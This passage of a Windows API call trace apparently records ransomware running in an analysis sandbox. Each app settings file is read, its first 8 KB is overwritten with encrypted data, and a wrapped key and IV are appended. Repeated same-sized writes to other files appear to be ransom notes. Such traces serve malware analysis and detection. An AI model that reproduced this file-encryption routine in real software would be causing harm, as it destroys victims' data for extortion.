returned 1 [0157.591] CloseHandle (hObject=0xb14) returned 1 [0157.591] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c54a8 | out: pbBuffer=0x5c54a8) returned 1 [0157.591] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0157.591] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloCamera_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0157.591] ReadFile (in: hFile=0xb28, lpBuffer=0x2ec5038, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec5038*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0157.604] SetFilePointer (in: hFile=0xb28, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.604] WriteFile (in: hFile=0xb28, lpBuffer=0x2ec9048*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec9048*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0157.604] SetFilePointer (in: hFile=0xb28, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0157.604] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0157.604] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c54a8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c54a8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0157.604] WriteFile (in: hFile=0xb28, lpBuffer=0x5c54a8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c54a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0157.605] WriteFile (in: hFile=0xb28, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0157.605] CloseHandle (hObject=0xb28) returned 1 [0157.624] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0157.624] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0157.624] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloCamera_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0157.624] ReadFile (in: hFile=0xb28, lpBuffer=0x5c3468, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3468*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0157.624] SetFilePointer (in: hFile=0xb28, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.625] WriteFile (in: hFile=0xb28, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0157.625] SetFilePointer (in: hFile=0xb28, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0157.625] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0157.625] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0157.625] WriteFile (in: hFile=0xb28, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0157.626] WriteFile (in: hFile=0xb28, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0157.627] CloseHandle (hObject=0xb28) returned 1 [0157.629] WriteFile (in: hFile=0xb34, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0157.630] CloseHandle (hObject=0xb34) returned 1 [0157.630] WriteFile (in: hFile=0xb34, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0157.631] CloseHandle (hObject=0xb34) returned 1 [0157.632] WriteFile (in: hFile=0xb34, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0157.632] CloseHandle (hObject=0xb34) returned 1 [0157.633] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5298 | out: pbBuffer=0x5c5298) returned 1 [0157.633] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3548 | out: pbBuffer=0x5c3548) returned 1 [0157.633] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloItemPlayerApp_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0157.633] ReadFile (in: hFile=0xb48, lpBuffer=0x2ec7040, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec7040*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0157.642] SetFilePointer (in: hFile=0xb48, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.642] WriteFile (in: hFile=0xb48, lpBuffer=0x2ec5038*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec5038*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0157.642] SetFilePointer (in: hFile=0xb48, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0157.642] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0157.642] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0157.642] WriteFile (in: hFile=0xb48, lpBuffer=0x5c5298*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0157.643] WriteFile (in: hFile=0xb48, lpBuffer=0x5c3548*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3548*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0157.643] CloseHandle (hObject=0xb48) returned 1 [0157.646] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4110 | out: pbBuffer=0x5c4110) returned 1 [0157.646] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0157.646] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloItemPlayerApp_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0157.647] ReadFile (in: hFile=0xb48, lpBuffer=0x5c3548, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3548*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0157.647] SetFilePointer (in: hFile=0xb48, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.647] WriteFile (in: hFile=0xb48, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0157.647] SetFilePointer (in: hFile=0xb48, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0157.647] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0157.647] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0157.647] WriteFile (in: hFile=0xb48, lpBuffer=0x5c4110*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4110*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0157.648] WriteFile (in: hFile=0xb48, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0157.648] CloseHandle (hObject=0xb48) returned 1 [0157.650] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c54a8 | out: pbBuffer=0x5c54a8) returned 1 [0157.650] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0157.650] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloShell_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0157.650] ReadFile (in: hFile=0xb68, lpBuffer=0x2ec3030, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec3030*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0157.653] SetFilePointer (in: hFile=0xb68, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.653] WriteFile (in: hFile=0xb68, lpBuffer=0x2ed1068*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ed1068*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0157.654] SetFilePointer (in: hFile=0xb68, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0157.654] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0157.654] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c54a8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c54a8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0157.654] WriteFile (in: hFile=0xb68, lpBuffer=0x5c54a8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c54a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0157.654] WriteFile (in: hFile=0xb68, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0157.654] CloseHandle (hObject=0xb68) returned 1 [0157.657] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4638 | out: pbBuffer=0x5c4638) returned 1 [0157.657] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0157.657] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloShell_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0157.658] ReadFile (in: hFile=0xb68, lpBuffer=0x5c33d8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0157.658] SetFilePointer (in: hFile=0xb68, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.658] WriteFile (in: hFile=0xb68, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0157.658] SetFilePointer (in: hFile=0xb68, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0157.658] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0157.658] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4638*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4638*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0157.659] WriteFile (in: hFile=0xb68, lpBuffer=0x5c4638*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4638*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0157.660] WriteFile (in: hFile=0xb68, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0157.660] CloseHandle (hObject=0xb68) returned 1 [0157.663] WriteFile (in: hFile=0xb74, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0157.664] CloseHandle (hObject=0xb74) returned 1 [0157.665] WriteFile (in: hFile=0xb74, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0157.665] CloseHandle (hObject=0xb74) returned 1 [0157.666] WriteFile (in: hFile=0xb74, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0157.666] CloseHandle (hObject=0xb74) returned 1 [0157.667] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4530 | out: pbBuffer=0x5c4530) returned 1 [0157.667] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0157.667] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.3DBuilder_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0157.678] ReadFile (in: hFile=0xb88, lpBuffer=0x5c3538, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0157.678] SetFilePointer (in: hFile=0xb88, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.678] WriteFile (in: hFile=0xb88, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0157.678] SetFilePointer (in: hFile=0xb88, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0157.678] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0157.678] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0157.678] WriteFile (in: hFile=0xb88, lpBuffer=0x5c4530*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4530*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0157.679] WriteFile (in: hFile=0xb88, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0157.679] CloseHandle (hObject=0xb88) returned 1 [0157.681] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0157.681] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0157.681] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.3DBuilder_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0157.682] ReadFile (in: hFile=0xb88, lpBuffer=0x2ecb050, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecb050*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0157.693] SetFilePointer (in: hFile=0xb88, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.694] WriteFile (in: hFile=0xb88, lpBuffer=0x2ec3030*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec3030*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0157.694] SetFilePointer (in: hFile=0xb88, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0157.694] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0157.694] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0157.694] WriteFile (in: hFile=0xb88, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0157.695] WriteFile (in: hFile=0xb88, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0157.695] CloseHandle (hObject=0xb88) returned 1 [0157.696] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0157.696] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0157.696] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.3DBuilder_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0157.697] ReadFile (in: hFile=0xb88, lpBuffer=0x2ec7040, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec7040*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0157.705] SetFilePointer (in: hFile=0xb88, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.705] WriteFile (in: hFile=0xb88, lpBuffer=0x2ec9048*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec9048*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0157.705] SetFilePointer (in: hFile=0xb88, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0157.705] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0157.705] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0157.706] WriteFile (in: hFile=0xb88, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0157.706] WriteFile (in: hFile=0xb88, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0157.706] CloseHandle (hObject=0xb88) returned 1 [0157.709] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0157.709] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0157.709] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.3DBuilder_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0157.710] ReadFile (in: hFile=0xb88, lpBuffer=0x5c33f8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0157.710] SetFilePointer (in: hFile=0xb88, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.710] WriteFile (in: hFile=0xb88, lpBuffer=0x5c3548*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3548*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0157.710] SetFilePointer (in: hFile=0xb88, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0157.710] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0157.710] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0157.710] WriteFile (in: hFile=0xb88, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0157.711] WriteFile (in: hFile=0xb88, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0157.711] CloseHandle (hObject=0xb88) returned 1 [0157.716] WriteFile (in: hFile=0xb94, 